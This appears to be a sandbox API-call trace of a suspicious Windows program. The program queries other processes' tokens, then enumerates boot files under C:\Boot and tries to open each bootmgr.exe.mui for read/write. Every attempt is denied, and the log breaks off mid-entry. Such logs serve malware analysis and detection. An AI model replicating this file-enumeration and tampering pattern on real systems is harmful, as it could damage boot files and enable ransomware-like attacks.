ProcessHandle=0x1e4, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0058.304] QueryFullProcessImageNameW (in: hProcess=0x1e8, dwFlags=0x0, lpExeName=0x1acf180, lpdwSize=0x17af784 | out: lpExeName="C:\\Windows\\System32\\net.exe", lpdwSize=0x17af784) returned 1 [0058.304] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1acf180) returned 1 [0058.304] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x17af758 | out: Wow64Process=0x17af758) returned 1 [0058.304] IsWow64Process (in: hProcess=0x1e8, Wow64Process=0x17af768 | out: Wow64Process=0x17af768) returned 1 [0058.305] NtQueryInformationProcess (in: ProcessHandle=0x1e8, ProcessInformationClass=0x18, ProcessInformation=0x17af764, ProcessInformationLength=0x4, ReturnLength=0x17af768 | out: ProcessInformation=0x17af764, ReturnLength=0x17af768) returned 0x0 [0058.305] GetProcessTimes (in: hProcess=0x1e8, lpCreationTime=0x17af784, lpExitTime=0x17af78c, lpKernelTime=0x17af78c, lpUserTime=0x17af78c | out: lpCreationTime=0x17af784, lpExitTime=0x17af78c, lpKernelTime=0x17af78c, lpUserTime=0x17af78c) returned 1 [0058.305] OpenProcessToken (in: ProcessHandle=0x1e8, DesiredAccess=0x8, TokenHandle=0x17af758 | out: TokenHandle=0x17af758*=0x1f0) returned 1 [0058.305] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x17af754 | out: TokenInformation=0x0, ReturnLength=0x17af754) returned 0 [0058.305] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99cd8 [0058.305] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0xf99cd8, TokenInformationLength=0x14, ReturnLength=0x17af754 | out: TokenInformation=0xf99cd8, ReturnLength=0x17af754) returned 1 [0058.305] GetSidSubAuthorityCount (pSid=0xf99ce0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xf99ce1 [0058.305] GetSidSubAuthority (pSid=0xf99ce0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xf99ce8 [0058.305] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99cd8) returned 1 [0058.305] NtClose (Handle=0x1f0) returned 0x0 [0058.313] QueryFullProcessImageNameW (in: hProcess=0x1ec, dwFlags=0x0, lpExeName=0x1acf180, lpdwSize=0x17af784 | out: lpExeName="C:\\Windows\\System32\\conhost.exe", lpdwSize=0x17af784) returned 1 [0058.313] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1acf180) returned 1 [0058.313] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x17af758 | out: Wow64Process=0x17af758) returned 1 [0058.313] IsWow64Process (in: hProcess=0x1ec, Wow64Process=0x17af768 | out: Wow64Process=0x17af768) returned 1 [0058.313] NtQueryInformationProcess (in: ProcessHandle=0x1ec, ProcessInformationClass=0x18, ProcessInformation=0x17af764, ProcessInformationLength=0x4, ReturnLength=0x17af768 | out: ProcessInformation=0x17af764, ReturnLength=0x17af768) returned 0x0 [0058.313] GetProcessTimes (in: hProcess=0x1ec, lpCreationTime=0x17af784, lpExitTime=0x17af78c, lpKernelTime=0x17af78c, lpUserTime=0x17af78c | out: lpCreationTime=0x17af784, lpExitTime=0x17af78c, lpKernelTime=0x17af78c, lpUserTime=0x17af78c) returned 1 [0058.313] OpenProcessToken (in: ProcessHandle=0x1ec, DesiredAccess=0x8, TokenHandle=0x17af758 | out: TokenHandle=0x17af758*=0x1f0) returned 1 [0058.313] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x17af754 | out: TokenInformation=0x0, ReturnLength=0x17af754) returned 0 [0058.313] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99cd8 [0058.313] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0xf99cd8, TokenInformationLength=0x14, ReturnLength=0x17af754 | out: TokenInformation=0xf99cd8, ReturnLength=0x17af754) returned 1 [0058.313] GetSidSubAuthorityCount (pSid=0xf99ce0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xf99ce1 [0058.313] GetSidSubAuthority (pSid=0xf99ce0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xf99ce8 [0058.313] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99cd8) returned 1 [0058.313] NtClose (Handle=0x1f0) returned 0x0 [0058.321] QueryDosDeviceW (in: lpDeviceName="C:", lpTargetPath=0x1acf180, ucchMax=0x200 | out: lpTargetPath="\\Device\\HarddiskVolume1") returned 0x19 [0058.321] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d64658 [0058.321] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d645d0) returned 1 [0058.321] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1acf180) returned 1 [0058.321] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d64658) returned 1 [0058.321] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0058.322] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0058.322] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0058.322] GetFileAttributesExW (in: lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), fInfoLevelId=0x0, lpFileInformation=0x17af838 | out: lpFileInformation=0x17af838*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac2e8a60, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x469b3b00, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x5400)) returned 1 [0058.322] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0058.322] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d64658 [0058.322] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d645d0 [0058.322] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d64658) returned 1 [0058.322] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot", lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0058.322] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d645d0) returned 1 [0058.322] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0058.322] GetFileAttributesExW (in: lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), fInfoLevelId=0x0, lpFileInformation=0x17af834 | out: lpFileInformation=0x17af834*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac2e8a60, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x469b3b00, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x5400)) returned 1 [0058.322] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0058.322] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0058.322] GetFileAttributesExW (in: lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), fInfoLevelId=0x0, lpFileInformation=0x17af838 | out: lpFileInformation=0x17af838*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0058.323] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0058.323] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0058.323] GetFileAttributesExW (in: lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), fInfoLevelId=0x0, lpFileInformation=0x17af838 | out: lpFileInformation=0x17af838*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0058.323] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0058.323] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0058.323] GetFileAttributesExW (in: lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), fInfoLevelId=0x0, lpFileInformation=0x17af838 | out: lpFileInformation=0x17af838*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x10000)) returned 1 [0058.323] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0058.323] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d645d0 [0058.323] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d64658 [0058.323] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d645d0) returned 1 [0058.323] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot", lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0058.324] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d64658) returned 1 [0058.324] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0058.324] GetFileAttributesExW (in: lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), fInfoLevelId=0x0, lpFileInformation=0x17af834 | out: lpFileInformation=0x17af834*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x10000)) returned 1 [0058.324] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0058.324] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0058.324] GetFileAttributesExW (in: lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x17af838 | out: lpFileInformation=0x17af838*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50)) returned 1 [0058.324] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0058.324] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d64658 [0058.324] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d645d0 [0058.324] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d64658) returned 1 [0058.324] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\cs-CZ", lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0058.325] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d645d0) returned 1 [0058.325] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0058.325] GetFileAttributesExW (in: lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x17af834 | out: lpFileInformation=0x17af834*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50)) returned 1 [0058.325] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0058.325] GetFileAttributesExW (in: lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50)) returned 1 [0058.325] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0058.325] GetLastError () returned 0x5 [0058.325] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0058.325] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0058.325] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0058.325] GetFileAttributesExW (in: lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x17af838 | out: lpFileInformation=0x17af838*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640)) returned 1 [0058.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0058.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d645d0 [0058.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d64658 [0058.326] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d645d0) returned 1 [0058.326] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\da-DK", lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0058.326] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d64658) returned 1 [0058.326] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0058.326] GetFileAttributesExW (in: lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x17af834 | out: lpFileInformation=0x17af834*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640)) returned 1 [0058.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0058.326] GetFileAttributesExW (in: lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640)) returned 1 [0058.326] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0058.326] GetLastError () returned 0x5 [0058.327] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0058.327] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0058.327] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0058.327] GetFileAttributesExW (in: lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x17af838 | out: lpFileInformation=0x17af838*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640)) returned 1 [0058.327] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0058.327] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d64658 [0058.327] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d645d0 [0058.327] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d64658) returned 1 [0058.327] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\de-DE", lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0058.327] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d645d0) returned 1 [0058.327] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0058.327] GetFileAttributesExW (in: lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x17af834 | out: lpFileInformation=0x17af834*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640)) returned 1 [0058.328] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0058.328] GetFileAttributesExW (in: lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640)) returned 1 [0058.328] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0058.328] GetLastError () returned 0x5 [0058.328] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0058.328] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0058.328] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0058.328] GetFileAttributesExW (in: lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x17af838 | out: lpFileInformation=0x17af838*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250)) returned 1 [0058.328] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0058.328] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d645d0 [0058.328] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d64658 [0058.328] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d645d0) returned 1 [0058.328] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\el-GR", lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0058.329] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d64658) returned 1 [0058.329] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0058.329] GetFileAttributesExW (in: lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x17af834 | out: lpFileInformation=0x17af834*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250)) returned 1 [0058.329] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0058.329] GetFileAttributesExW (in: lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250)) returned 1 [0058.329] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0058.329] GetLastError () returned 0x5 [0058.329] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0058.329] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0058.329] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0058.329] GetFileAttributesExW (in: lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x17af838 | out: lpFileInformation=0x17af838*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40)) returned 1 [0058.330] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0058.330] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d64658 [0058.330] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d645d0 [0058.330] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d64658) returned 1 [0058.330] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\en-US", lpFreeBytesAvailableToCaller=0x17af8bc, 